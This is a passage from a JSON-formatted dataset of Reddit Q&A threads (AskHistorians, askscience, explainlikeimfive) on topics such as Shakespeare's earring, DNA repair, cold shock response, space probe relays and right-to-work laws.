at the level of what is known to the civilian world.", "Why just the oxygen that is dissolved in water?  Why not chemically extract the oxygen from water and use that?", "Well then, how do gills in fish work?", "Interestingly down the lines of your question, there is a company [in Pittsburgh](_URL_0_) developing a lung-less breathing apparatus. Its sort of like Dialysis in that blood goes out of the body, gets oxygenated rather than filtered, and comes then back in to the body.  [More here](_URL_0_docs/MJ_62010.pdf).  \n\nSo it does utilize the ability to breath without lungs, although not with the oxygen from water.  \n\nThe original design of the system (I believe from interviewing there once) had the goal of doing this all within a small catheter, but I think the design got taken out of the body in order to simplify design and attach the design to a particular market (lung transplants).\n", "Oxygen is only slightly dissociated in water.  For the most part, water (H2O) dissociates into H+ and OH- ions.  Additionally, dissolved oxygen would have a charge of 2-, which is quite different from an uncharged O2 molecule.  A device like this isn't really practical as a result and would be much more cumbersome than scuba gear.  Hope this helps."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Rebreather"], ["http://www.likeafish.biz/"], [], ["http://members.shaw.ca/tfrisen/how_much_oxygen_for_a_person.htm", "http://www.hakkoairpumps.com/subcat15.html", "http://en.wikipedia.org/wiki/Liquid_breathing"], [], [], ["http://www.alung.com/", "http://www.alung.com/docs/MJ_62010.pdf"], [], ["http://en.wikipedia.org/wiki/Rebreather"], ["http://www.likeafish.biz/"], [], ["http://members.shaw.ca/tfrisen/how_much_oxygen_for_a_person.htm", "http://www.hakkoairpumps.com/subcat15.html", "http://en.wikipedia.org/wiki/Liquid_breathing"], [], [], ["http://www.alung.com/", "http://www.alung.com/docs/MJ_62010.pdf"], []]}
{"q_id": "864j8c", "title": "Did Shakespeare wear an earring?", "selftext": "In multiple portraits of Shakespeare he is wearing  a gold hoop earring. A few places I read said that earrings were somehow associated with poets in Shakespearean times, and one place even suggested that the artists might have added it in as a joke.\n\nI know it's a bit of a stretch considering how little we know about Shakespeare, but is there any information on this? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/864j8c/did_shakespeare_wear_an_earring/", "answers": {"a_id": ["dw2h764"], "score": [9], "text": ["Sadly we don't have textual attestation to Shakespeare's earring (not even a funny anecdote from Ben Jonson) or material proof of it, like a reference to it in Shakespeare's will. Shakespeare is depicted without an earring in the engraving accompanying the First Folio -- the only depiction of Shakespeare that is unambiguously intended to *be* Shakespeare -- but that absence doesn't necessarily mean that Shakespeare never wore an earring, either. Earrings were a fairly new, fairly trendy presence in women's jewelry at the end of the 16th century. (They had classical and medieval precedent, but were not continuously considered broadly fashionable in Europe.) Their appearance in men's fashion was likewise novel enough to raise eyebrows with people who were already negatively disposed toward unnecessary adornments for both men and women. But as far as fashionable Elizabethan men were concerned, the earring was one of several ways to showcase personal style and luxury -- alongside rings, chains, aglets and buttons, decorative belts, and so on. Fashionable Elizabethan men weren't afraid of jewelry, when their social class and income allowed for it. \n\n\nIn his polemical pamphlet The Anatomie of Abuses, Philip Stubbes files earring-wearers alongside other specimens of shameless sartorial excess, describing the practice as some kind of barbarian self-mutilation. His primary topic in this chapter is women's fashion, but not only women: \n\n\n > Another sort of dissolute minions and wanton Sempronians (for I can term them no better) are so far bewitched as they are not ashamed to make holes in their ears, whereat they hang rings, and other jewels of gold and precious stones. But what this signifieth in them, I will hold my peace, for the thing itself speaketh sufficiently. There is a certain kind of people in the Oriental part of the world that are such *Philauto* lovers of themselves and so proud withal, that having plenty of precious stones and margarits [pearls] amongst them, they cut and lance their skins and flesh, setting therein precious stones, to the end that they may glister and shine to the eye. So, except these women were minded to tread their paths and follow their direful ways in this cursed kind of unheard-of pride, I wonder what they mean. **But because this is not so much frequented amongst women as men,** I will say no more thereof, until further occasion be offered. [emphasis mine]\n\n\nStubbes is trafficking in moral outrage here, but you can get a sense of the qualities attributed to the earring and its owner across lines of sex -- novelty, exoticism, wealth, pride in personal appearance. This is all stuff that, in less pessimistic terms, adds up to earring-wearing as quite fashionable. The earring depicted in the Chandos portrait of William Shakespeare seems to be a pretty typical Elizabethan men's earring, even on the modest side with no precious stones and margarits in sight -- you can compare it to a [Nicholas Hilliard portrait of an unknown man](_URL_0_) wearing a plain gold hoop interlocking with another gold hoop. Sir Walter Raleigh is depicted wearing a more elaborate pearl earring [here](_URL_4_) in one 1580s portrait, but later portraits depict him without such conspicuous jewelry. (Francis Drake is also depicted with a pearl earring.) Shakespeare's patron Henry Wriothesley was depicted [in one 1590s portrait](_URL_2_) wearing a type of earring that doesn't seem to fall neatly into either the gold hoop or pearl drop category, and Shakespeare wouldn't be the only poet pictured with an earring, either -- a young John Donne circa 1591 [sports an earring with a cross-shaped dangle](_URL_1_). At any rate, some Elizabethan men wore earrings of different styles, and some of them may have left off their earring-wearing in later life. These men are courtiers and adventurers as well as dashing youths -- the tie to supposed nautical traditions of ear-piercing might explain Drake and Raleigh, but fashion alone would do plenty to justify why all of these men chose to pierce their ears and to be depicted wearing earrings. Notably, all these men are depicted with single earrings, but this may be an artifact of the \u00be pose they're depicted in -- a Hilliard miniature of a young woman (painted roughly contemporary to the louche-looking man) shows [two earrings](_URL_3_), both gold rings with pearl drops, but other portraits of high-profile women like Queen Elizabeth I are painted in similar poses showcasing a single earring. A few Elizabethan/Jacobean writers attributed an undesirable ambisexuality to earring-wearing -- treating it like a mild form of cross-dressing, and a parallel to other developments in the fashion world that were seen to blur the boundaries of male and female garb, like men having long frizzled hair and women wearing mannish doublets.  A lot of modern writers have likewise projected sexual ambivalence on the Elizabethan male earring, at least when it comes to Wriothesley and Shakespeare -- I've never read anything attributing any particular sexuality or sexual ambiguity to Raleigh or Drake on the basis of their earrings alone, but maybe it's out there. Some of the 19th and 20th century pushback to the idea that the Chandos portrait depicts Shakespeare is also flavored with a disapproving tinge of sexuality -- if you like the portrait, it makes Shakespeare look rakish and modern, even sexy, but if you dislike it, it makes him look effeminate or un-English. \n\n\nIs Shakespeare depicted with an earring as a nod to his identity as a poet? Some Early Modern English poets wore earrings, as evidenced by Donne, but other literary contemporaries of Shakespeare like Ben Jonson were not depicted with or otherwise reputed to wear earrings, at least not as far as we know. (Our only portrait of Jonson comes from later in his life in the 1610s, so perhaps he had one as a young rakehell, it's hard to say.) A single earring wouldn't be the exclusive territory of poets, but the earring seems to have been associated with a certain strain of conspicuous, perhaps dashing masculinity. The impression is cultured luxury, a little rakish, a little dashing -- but some of that impression in the study of the Elizabethan male earring may be drawn from these high profile individuals having earrings, rather than being the rakishness of earrings explaining their popularity among such individuals. (Indeed, Shakespeare being the most high-profile Elizabethan poet and the Chandos portrait being the most high-profile image of Shakespeare would be enough on its own to cement the association in the popular imagination whether or not other men wore them.) So Shakespeare might have had an earring, and the man in the Chandos portrait might have been Shakespeare. I personally don't doubt that the Chandos portrait depicts Shakespeare, and it's well within the bounds of possibility that Shakespeare wore an earring. But we have so few images or physical descriptions of Shakespeare to draw from that we can't say conclusively that Shakespeare wore an earring, or when in his life he wore it, or why he wore it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://collections.vam.ac.uk/item/O74886/portrait-miniature-of-an-unknown-portrait-miniature-hilliard-nicholas/", "https://www.bl.uk/collection-items/portrait-of-john-donne-aged-18", "https://upload.wikimedia.org/wikipedia/commons/d/d5/Cobbe_Portrait_of_Southampton.jpg", "https://metmuseum.org/art/collection/search/436651", "https://www.npg.org.uk/collections/search/portrait.php?search=ap&amp;npgno=7&amp;eDate=&amp;lDate="]]}
{"q_id": "syhxm", "title": "Energy Production Area Usage Question", "selftext": "Hello people of [/r/askscience](/r/askscience), I have been reading about different energy production methods and have become more and more interested in nuclear energy, the LFTR especially makes me interested. And I started to think of space usage. Obviously, wind and solar farms need to take up a lot of space. But how much space is that? So what I am asking for is a comparison between how much area is needed to produce the same amount of energy for each energy production type (Wind, solar, nuclear (both today's current reactors and LFTR). Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/syhxm/energy_production_area_usage_question/", "answers": {"a_id": ["c4i1avb"], "score": [2], "text": ["I would recommend watching the TED talk by David MacKay, [TEDxWarwick - David MacKay - How the Laws of Physics Constrain Our Sustainable Energy Options](_URL_0_).\n\nHe's the author of the book [Sustainable Energy - without the hot air](_URL_1_), which is an amazing book for examining sustainability with electricity for the long term of the earth, and is the chief scientific advisor to the UK Department of Climate Change.\n\nIn his TED talk he specifically discusses the land mass use and unit energy per unit land area as a way to compare various energy sources, and I think that will give you the answer your looking for. LFTR will use the same land area as a conventional nuclear plant FYI."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://youtu.be/-5bVbfWuq-Q", "http://www.withouthotair.com/"]]}
{"q_id": "1ze3fy", "title": "why only gaming pcs can adjust the fov in a first person game, yet consoles with the same specs can't?", "selftext": "I've heard that the reason console version of First person games is because the specs aren't good enough. PC's with higher specs can adjust FOV. I'd like to know why a console can't adjust FOV, yet a PC with the same specs playing the same game can.\n\nSo here's an example of what I mean by the question:\n\nSay your playing some older FPS game, like COD 4 on a newer console like the PS4 (ignore the fact that COD 4 isn't on the PS4). You cannot adjust the FOV of your character on console. now lets take a PC with the same specs as the PS4 and play COD 4 on it. You can now adjust your FOV settings. why is this?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1ze3fy/eli5_why_only_gaming_pcs_can_adjust_the_fov_in_a/", "answers": {"a_id": ["cfsuz7v"], "score": [3], "text": ["Consoles can't due to been locked so as to allow for optimal speed with the low teir specs also due to laws of advertisement they must output minimum performance specs of the advertisement thus leading them to be a locked system, take in mind that most computers far outperform the consoles"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ckp8l7", "title": "In my experience, English speakers tend to have an exceptionalist view of our language. How diverse is English in depth and breadth of vocabulary in comparison to other languages?", "selftext": "This is prompted by a discussion on a translation of an English book into German. \n\nA favorite truism online is that English does not \"just borrow words; on occasion, [it pursues] other languages down alleyways to beat them unconscious and rifle their pockets for new vocabulary\", as if it is something unique to our tongue. I've also seen many statements that on pure word count, ours is one of, if not the largest vocabularies in the world. \n\nAs a Germanic language with heavy influence from Greek, Latin, and French, I know English has a diverse vocabulary, with a lot of nuance between very similar words. For example, huge, giant, titanic, colossal, and enormous all mean large but definitely have different contextual meanings, as do pleased, contented, satisfied, elated, cheerful, and ecstatic.\n\nIn the discussion I was reading, the example that prompted this question was that, in German, the word for both \"hound\" and \"dog\" is \"Hund\", requiring the name of \nThe Hound from A Game of Thrones to be changed to Bluthund for contextual story reasons (he is called Dog derogatorily by another character) and that grew into a larger conversation on the subtleties of synonyms across languages and now this thread, where I'm looking for more of a learned answer.\n\nIs English particularly expressive?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/ckp8l7/in_my_experience_english_speakers_tend_to_have_an/", "answers": {"a_id": ["evpp5wm", "evptnpt", "evr0skr", "evr3rz9", "evrm0xi", "evrpxa9"], "score": [38, 18, 14, 3, 5, 2], "text": ["It's not an easy apples to apples comparison. This article does a really good job of breaking it all down. \n\n [_URL_0_](_URL_0_)", "I think that\u2019s a difficult question to respond to because, as you alluded to yourself, English uses a lot of loanwords. That is a common practice among many languages, however. [This video from Asian Boss on Youtube](_URL_0_) shows how difficult it can be to speak Korean without using any English loanwords. The folks at Asian Boss also do that video in Japan to similar results.\n\nIf we look to just start somewhere and not get lost in the weeds yet, [this Wikipedia article](_URL_1_) lists languages\u2019 \u201cdefinitive\u201d dictionaries by number of word entries. You\u2019ll note that English isn\u2019t even in the top 5 largest languages by dictionary entries, at only 470 000 words. Korean takes the cake by a healthy margin with over 1 million words.\n\nThis isn\u2019t the greatest metric but it\u2019s a starting point to answer your question. The article also distinguished just what it counts as unique words, which probably limits English and some of the other non-character based languages by a decent bit, but hey. A starting point.", "The majority of cultures tend to have an exceptionalist view of their language. It is common for speakers of all kinds of languages to make claims that their language is more expressive, precise, etc. Sometimes you also get special historical claims - such as that their language was the first; that their language is the \"least changed\", or conversely, that it's the \"most modern\". These claims are almost universally wrong. You can find a lot of such claims (and explanations of why they're wrong) at r/badlinguistics.\n\nCommon linguistic consensus is that all living languages are equally suited to express human ideas. Languages have various features, quirks, and historical artifacts, but ultimately, if you can think it, you an express it.", " > A favorite truism online is that English does not \"just borrow words; on occasion, \\[it pursues\\] other languages down alleyways to beat them unconscious and rifle their pockets for new vocabulary\", as if it is something unique to our tongue. I've also seen many statements that on pure word count, ours is one of, if not the largest vocabularies in the world. \n\nIs this a chicken and egg themed idea? Is it possible that English has been taken up by so many cultures that it becomes treated as the \"universal language\" so people push some words from their native languages to expand English to accommodate more ideas of which they wish to express? Is English as a baseline more expressive, thus more often used, or is it because of British colonialism that English permeates so many parts of the world?", "German might not have a separate word for hound, but it has \"Jagdhund\" as fixed composite word (the English \"hunting dog\" is made out of two more common words), \"Vorstehhund\" (pointing dog), \"Apportierhund\" (retriever), \"Schie\u00dfhund\" (gun dog), \"Laufhund\" (scent hound), ... - examples from German Wikipedia articles, translations from the corresponding English articles.\n\nYou always find words that don't have a good direct translations, in all translation directions. How do you count them? Just by number of words you can find, or weighted based on their frequency of use?", "English has a large vocabulary, but German is the language with an equal large vocabulary.  \nIn German we can express things in one word, where as in English you need a whole sentence to explain this word. This is not an exception.  \nWe have so many of this, that a lot of them found their way into the modern English.  \nZeitgeist e.g."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.economist.com/johnson/2010/06/23/the-biggest-vocabulary"], ["https://youtu.be/i_WPrTiKtAw", "https://en.m.wikipedia.org/wiki/List_of_dictionaries_by_number_of_words"], [], [], [], []]}
{"q_id": "344103", "title": "why haven't we evolved a way to \"repair\" our dna?", "selftext": "When DNA gets duplicated and as we age, our DNA gets more and more damaged. This leads to cancer and eventually death. (please feel vastly comfortable to correct me on any of this) Hence, why haven't humans evolved with a way to repair our DNA systematically? It seems like a massive advantage and would probably ensure than only humans with that ability would've survived. I know that our DNA does get some repair, but it is greatly flawed.\n\nTL;DR: DNA not fix itself, why?\n\n**EDIT**: The answer seems to be this: evolution is like that kid in class sitting all the way in back who never tries harder than \"good enough\".", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/344103/eli5_why_havent_we_evolved_a_way_to_repair_our_dna/", "answers": {"a_id": ["cqr2ao9", "cqr2avm", "cqr2g9n", "cqr2tsl"], "score": [2, 3, 2, 5], "text": ["The boring answer is that evolution doesn't actually care about making things perfect or ideal. It only works towards \"good enough to survive\". \n\nThere simply wasn't/isn't enough selective pressure to force something like that, which is a very very energy intensive alteration, to occur.", "Every \"why haven't we evolved X\" question boils down to this.\n\nEvolution isn't about what's best, but about what's good enough.  What we have works, so we keep it.  If there was a significant pressure on our early ancestors for this, and they were lucky, and they had a lot of generations to try out tactics against that pressure we might have this ability.\n\nCancer is \"good enough\", it very rarely impacts humans before they have the chance to re-produce so evolution largely has no concern for it.", "It can. Your immune system can detect cancer cells and kill them before they replicate; it's very possible you've had cancer cells in your body before, but they've been killed off before they could develop into a tumor. Not all cancer cells can be detected by the immune system, though; that's why people can still get cancer.\n\nIn any case, the risk of getting cancer gets higher as you get older. Humans haven't started living long enough for cancer to be a problem since comparatively recently, only the last few hundred years or so. That's less than a blink in evolutionary time; there simply hasn't been enough time for any sort of evolution to take place. More importantly, when people start dying of cancer they're almost always old enough to have already had children; there's no mechanism to keep the \"bad\" genes from being passed on, so there's no selective pressure.", "We have evolved many ways to repair our DNA, and our bodies do so constantly. Here is an entire [Wikipedia article](_URL_0_) about the many ways the human body repairs DNA. The relatively few times those mechanisms fail results in illnesses like cancer. \n\nAs just one of many examples, consider BRCA 1 and 2. They are tumor suppressor genes. When we screen for breast cancer, we screen for mutations in these genes that cause them not to repair DNA correctly. People who don't have functioning BRCA 1 and 2 genes are more likely to get breast cancer. Angelina Jolie didn't have these DNA repairing genes, so she opted to have a double mastectomy to protect herself.\n\nEvery time you step into the sunlight, eat something, or even just sit still and do nothing, you risk DNA damage. The human body is incredibly great at preventing problems and repairing damage, but as you get older, you get worse at prevention and repair, and the things that damage your body become more dangerous. If a human being lives long enough, they are guaranteed to get cancer. Usually, people die of something else first. Luckily, even if they do get cancer, for the most part, it is after they have already had children and passed on their genes.\n\nSay you have an old car. Eventually, wear and tear is going to catch up to it. You can keep repairing the same old car, but at some point you are going to want to buy a new car. The human body is excellent at repairing DNA damage, but eventually the wear and tear of life catches up. Humans have children to pass on their genes to an undamaged blank slate and start again. Unfortunately for us, depending on your perspective, our personal sense of life ends. But our genes live on."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/DNA_repair"]]}
{"q_id": "c83ec9", "title": "why did humans develop the cold shock response?", "selftext": "Humans automatically hyperventilate when they are exposed to very cold waters. In fact, the \"cold shock response\" is the leading cause of death for immersion in cold water. Why and how did we develop this as humans? Wouldn't a response like this decrease fitness and be harmful?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c83ec9/eli5_why_did_humans_develop_the_cold_shock/", "answers": {"a_id": ["esjwxqj", "esjxsk4", "eskmz89"], "score": [19, 29, 5], "text": ["Pretty much anything involving physiology of the body involves it trying to reach *homeostasis* , which is an overall balance. In = out, up = down etc. when you fall in cold water, your body only realizes: I am suddenly cold. Really cold. This is my new normal, and I need to balance it out. So it goes into triage mode and recruits your sympathetic nervous system (fight or flight) It constricts vessels and concentrates blood to your core to keep you warm, as well as makes you hyperventilate so that you are getting more oxygen into your lungs so that your skeletal muscles are ready to do some work. The problem is that this is one of the situations where the rapid breathing is bad. CSR usually resides after a min, but because people who have fallen in cold water with the threat of drowning have been in there for a while feeling panicked, they\u2019ll hyperventilate as a psychological response, not one that the body is trying to produce. The problem is, to calm someone down during a panic, you have to actively work towards the parasympathetic ns (opposite of fight or flight, it induces relaxation) which could then kill you. The body can\u2019t be perfect at everything, though it seems like cold water submersion is one of the few situations where the sympathetic NS works against you.", "Strangely enough, the shock reflex is not the full story. There is also the diving reflex\u2014when a vertebrate\u2019s face gets wet, their heart rate slows, breath slows, and blood is shunted to brain and organs and away from extremities. The point is there are a variety of reflexes\u2014quick inhalation of oxygen in anticipation of not having enough, flowed by conservation of oxygen. The combination has evolutionarily proven to be the best chance of survival, even though in some\ncircumstances it isn\u2019t the best.", "Not every part of our anatomy is beneficial. There are many things that simply are that way as a side effect,  or because evolution hasn't had time to sort it out yet.  \n\nFor millions of years, our ancestors lived in environments where sudden immersion in ice cold water wasn't a huge problem. It's only relatively recently we learned to swim at all - chimps can't, for example. So even if our ancestors didn't have the cold shock response, falling in water would be fatal in any case, so there was no evolutionary pressure to get rid of the child shock response."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "4opjyt", "title": "Did American settlers heading west through the Rockies or Sierra Nevadas struggle with altitude sickness?", "selftext": "Was the travel slow-going enough that they had time to adjust to higher elevations?  If not, how did they deal with it?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4opjyt/did_american_settlers_heading_west_through_the/", "answers": {"a_id": ["d4ejj4a"], "score": [7], "text": ["The passes in the mountain ranges are high enough at roughly 7,000 feet (Donner Pass) and the Rocky Mountain passes at 8,000+ to cause some to experience fatigue more quickly than at sea level, but they are not high enough to cause altitude sickness. I've given many tours of Virginia City - up and down the mountainside at roughly 6,200 - and I found that flatlanders become winded more quickly than natives, but they all survived and a few minutes at a bar with a beer quickly resolved any issues. Granted, this is lower than some of the elevations on the historic trails, but they aren't high enough to cause more than modestly-premature exhaustion. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "nnzon", "title": "Is it feasible to send out space probes to facilitate communication with probes further out? ", "selftext": "I've been reading quite alot about space probes/robots/satellites recently and one problem that seems common is that the further away one of our space vehicles goes the harder it is to maintain communication and the lower the bandwidth is.\n\nWould it be worth sending out satellites closer to the mars rovers or voyager's for example and have the probes beam information at higher bandwidth and with more accuracy to the nearer object and have a relay back to earth?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nnzon/is_it_feasible_to_send_out_space_probes_to/", "answers": {"a_id": ["c3akwxx", "c3aldsh", "c3alk70", "c3aloo8", "c3apjfq", "c3akwxx", "c3aldsh", "c3alk70", "c3aloo8", "c3apjfq"], "score": [18, 3, 8, 3, 2, 18, 3, 8, 3, 2], "text": ["Indeed there is merit to what you are suggesting.  However, it is premature at this point since we do not have that many deep space probes - and the ones we do have are not so far out that we can't hear them from earth.\n\nHowever, as we investigate more and more of space - indeed, such relay points will be useful for not only communications, but resupply, R & R, etc.\n\nEdit: I should note we do indeed do what you suggest now - in terms, for example, of our Mars Rovers - who talk to an orbiter which relays to earth.", "This brought another question to my mind - do we still maintain actual, 2 way communications with the Voyager and Pioneer probes?", "Yes and they do.  Just look at the mars rovers for example. They didn't send data back directly from mars they sent it to a satellite orbiting mars that then relayed it to earth.\n\nThere is even plans to setup a relay network for a internet accessible space network. \n\n_URL_0_", "From what I understand weak signal's are not currently a problem as we are still able to receive voyager I's signals which are [20 billion times weaker than a digital watch battery.](_URL_0_) \n\nEventually yes, our various probes will be so far out into interstellar space that a relay system would be needed in order to continue communication, but the chances of current probes still remaining functional or useful for that long of a journey are slim.\n\nThinking long term as we eventually send probes to beyond the sun's influence and to other stars, it would be expensive and nearly impossible to have relays going on and on into interstellar space. A more practical solution would be to use the [sun's gravity as a lens](_URL_1_) to magnify signals from faraway probes and then relay them to earth.\n\nHope that helps.", "It is indeed feasible (albeit not presently tremendously practical over alternative methods).\n\nHowever it would not aid communication *time* (though range and signal strength would be improved), as the message speed would remain the same (Example: the speed of light is constant, no matter how many lasers you're shooting between a line of relay satellites).", "Indeed there is merit to what you are suggesting.  However, it is premature at this point since we do not have that many deep space probes - and the ones we do have are not so far out that we can't hear them from earth.\n\nHowever, as we investigate more and more of space - indeed, such relay points will be useful for not only communications, but resupply, R & R, etc.\n\nEdit: I should note we do indeed do what you suggest now - in terms, for example, of our Mars Rovers - who talk to an orbiter which relays to earth.", "This brought another question to my mind - do we still maintain actual, 2 way communications with the Voyager and Pioneer probes?", "Yes and they do.  Just look at the mars rovers for example. They didn't send data back directly from mars they sent it to a satellite orbiting mars that then relayed it to earth.\n\nThere is even plans to setup a relay network for a internet accessible space network. \n\n_URL_0_", "From what I understand weak signal's are not currently a problem as we are still able to receive voyager I's signals which are [20 billion times weaker than a digital watch battery.](_URL_0_) \n\nEventually yes, our various probes will be so far out into interstellar space that a relay system would be needed in order to continue communication, but the chances of current probes still remaining functional or useful for that long of a journey are slim.\n\nThinking long term as we eventually send probes to beyond the sun's influence and to other stars, it would be expensive and nearly impossible to have relays going on and on into interstellar space. A more practical solution would be to use the [sun's gravity as a lens](_URL_1_) to magnify signals from faraway probes and then relay them to earth.\n\nHope that helps.", "It is indeed feasible (albeit not presently tremendously practical over alternative methods).\n\nHowever it would not aid communication *time* (though range and signal strength would be improved), as the message speed would remain the same (Example: the speed of light is constant, no matter how many lasers you're shooting between a line of relay satellites)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.nasa.gov/home/hqnews/2008/nov/HQ_08-298_Deep_space_internet.html"], ["http://www.spacetoday.org/SolSys/Voyagers20years.html", "http://www.space.com/9666-sun-gravity-tapped-call.html"], [], [], [], ["http://www.nasa.gov/home/hqnews/2008/nov/HQ_08-298_Deep_space_internet.html"], ["http://www.spacetoday.org/SolSys/Voyagers20years.html", "http://www.space.com/9666-sun-gravity-tapped-call.html"], []]}
{"q_id": "4uweur", "title": "what is the main purpose of presidential libraries?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4uweur/eli5_what_is_the_main_purpose_of_presidential/", "answers": {"a_id": ["d5tf1dr", "d5tibya"], "score": [14, 3], "text": ["The records of a given president's term have historic value. The presidential library is a permanent place for all of the records, large and small, important or not. It's just everything on one place.", "Coming from a conversation with some historians when I asked this question:\n\nThe obvious purpose is to preserve all of the records of that president for future generations, and to allow historians access to the data for future research.\n\nThe less obvious purpose is to protect the historical record from perversion. Oftentimes in history past leaders are demonized or glorified for political gain, and having a well maintained and accurate library with all of the records allows the public the possibility to always learn the truth about the past."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2gzrh2", "title": "what am i supposed to do with things that say \"do not throw in trash\"", "selftext": "Ex: Ipads, Batteries, Phones.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2gzrh2/eli5_what_am_i_supposed_to_do_with_things_that/", "answers": {"a_id": ["cknzied"], "score": [3], "text": ["you find a place that recycles ipads, batteries, phones (electronics)\n\nthere is a battery recycle bin in every single store i have near me. (literally just a carboard box that says batteries with a hole at the top) and there are multiple places i can drop electronics.\n\nthere are also places for glass plastic etc, if you want to be extreme in your enviromentalism.\n\nand im sort of getting that this is not normal in the US."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "88blpr", "title": "What are some famous examples of a government taking away its citizens freedom of speech / gun rights, and what was the outcome?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/88blpr/what_are_some_famous_examples_of_a_government/", "answers": {"a_id": ["dwjds9i"], "score": [2], "text": ["Sorry, we don't allow [\"example seeking\" questions](_URL_1_). It's not that your question was bad; it's that these kinds of questions tend to produce threads that are collections of disjointed, partial, inadequate responses. If you have a question about a specific historical event, period, or person, feel free to rewrite your question and submit it again. If you don't want to rewrite it, you might try submitting it to /r/history, /r/askhistory, or /r/tellmeafact. \n\nFor further explanation of the rule, feel free to consult this [META thread](_URL_0_).\n\nThank you!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/3nub87/rules_change_throughout_history_rule_is_replaced/", "https://www.reddit.com/r/AskHistorians/wiki/rules#wiki_no_.22example_seeking.22_questions"]]}
{"q_id": "71k2jc", "title": "the purpose of \"right to work\" laws in america and who it benefits", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/71k2jc/eli5_the_purpose_of_right_to_work_laws_in_america/", "answers": {"a_id": ["dnbah73", "dnbalh2", "dnbav4a", "dnbawgw", "dnbb408", "dnbd60u", "dnberrd", "dnbg66j", "dnbu4x3"], "score": [51, 60, 4, 3, 34, 2, 3, 11, 3], "text": ["Right to Work Laws mean that you can't be required to join a union as a condition of employment. \n\nIn many industries, union contracts with employers state that they're only allowed to hire members of the union. So you can't work for those companies unless you're a dues-paying member of the union. Right to Work laws make these clauses in the contract illegal.\n\nIn general, I'd say it's bad for unions, because it means they get less dues, and it's bad for people who want to be in the union because it means the union has less negotiating power if only some of the workers are in the union. It's good for the employers, because the union has less power and it's good for people who don't want to be in the union because they aren't forced to pay dues in order to work.", "Right to work laws state that you can't be required to join a union as a condition of employment. This allows an employee to work without paying union dues (but they will not have the benefits of being in a union - well this is a point of contention but beyond the scope of an ELI5). \n\nWere you thinking of at-will employment?", "It benefits the employer. By not requiring workers to join a union at a workplace that has one, it allows non-union workers to be free riders -- they benefit without the cost. So fewer and fewer join the union until there's no union at all, and then the workers have no leverage or unified front against management. ", "Right to work laws are a product of the struggle between the labor movement and businesses opposing them. Labor unions want to organize workers to protect them and gain benefits, better wages, health care, retirement pensions for the workers. So they advocate closed shops. If a union signs up a majority of workers they want to be able to close the shop, all workers must belong to the union. New hires have a certain time period to join a union. There is a logic to this. A union shop pays better wages and has better benefits due to work by the union. \n\nHowever in states with weak labor movements the legislatures will outlaw union shops. The law is called a right to work law. An employer can hire anyone they want. That is true in both cases. But in a right to work state no worker is required to join a union to work somewhere. So after a union has achieved better working conditions the employer can attract good workers who do not have to join the union which got those benefits. Union shops exist in those states. Peer pressure, and appreciation for the benefits of belonging to a union can get enough workers to join the union to make a business a union shop. But the law in those states says no one has to join the union to work. So maybe there is more freedom in those states.", "**EDIT: Right-to-work laws are *not* about prohibiting employers from requiring employees to join the union as a condition of employment. They are about whether unions may deduct union dues/fees from non-members paychecks. Requiring union membership as a condition of employment (i.e., the creation of a \"closed shop\") has been illegal since the passage of the federal Taft-Hartley Act in 1947.**\n\nTL;DR: They are intended to reduce the influence--both economic and political--of organized labor by making it harder for unions to collect dues/fees. \n\nUnions deduct dues directly from employees' paychecks. For union members, this is no big deal. They signed up for the union, they agree to union dues.\n\nBut what of non-members? The Supreme Court has ruled that unions cannot deduct fees to be used for political purposes from non-members (that would violate non-members First Amendment rights), but can be permitted to deduct \"services fees,\" (EDIT: also sometimes called \"agency fees\") which are theoretically the costs the union incurs in negotiating the employees' collective bargaining agreements. \n\nWhat \"right-to-work\" laws say is that unions can't deduct *any* fees/dues from non-members' paychecks. Employees have a \"right\" to work without paying unions a dime unless they voluntarily decide to join the union. Sure, if fewer employees choose to join, that means fewer dues for the union, which means it might not be able to secure as good a collective bargaining agreement for the employees, and might not even be able to represent them at all. \n\nThe reason this is such a problem for unions is that a lot of employees don't *want* to join the union. Yes, they'd certainly prefer to gain the benefit of the collective bargaining agreement without paying anything for it. But unionized employees know damned well the nature of their collective bargaining agreements and many *still* don't want to join the union. Why? Maybe because while unions themselves direct pretty much 100% of their political donations to Democrats, unionized *employees* are almost as politically diverse as the American electorate as a whole. \n\nOn top of that, unions political affiliations are known to pretty much everybody. That includes elected politicians. Including Republican politicians. Who control both houses of 33 state legislatures and one house in another 7 states. I can't think of any reason they *wouldn't* want to take an enormous whack at the single most reliable source of Democratic campaign contributions. \n\n", "Right to work laws mean that someone doesn't have to join a union as a condition of working there.  [With a nod to those who quibble that you don't *have* to join the union in a non-right-to-work state; you just have to fulfill the financial commitments the same way that members do.   In other words, you don't have to buy it; you just have to 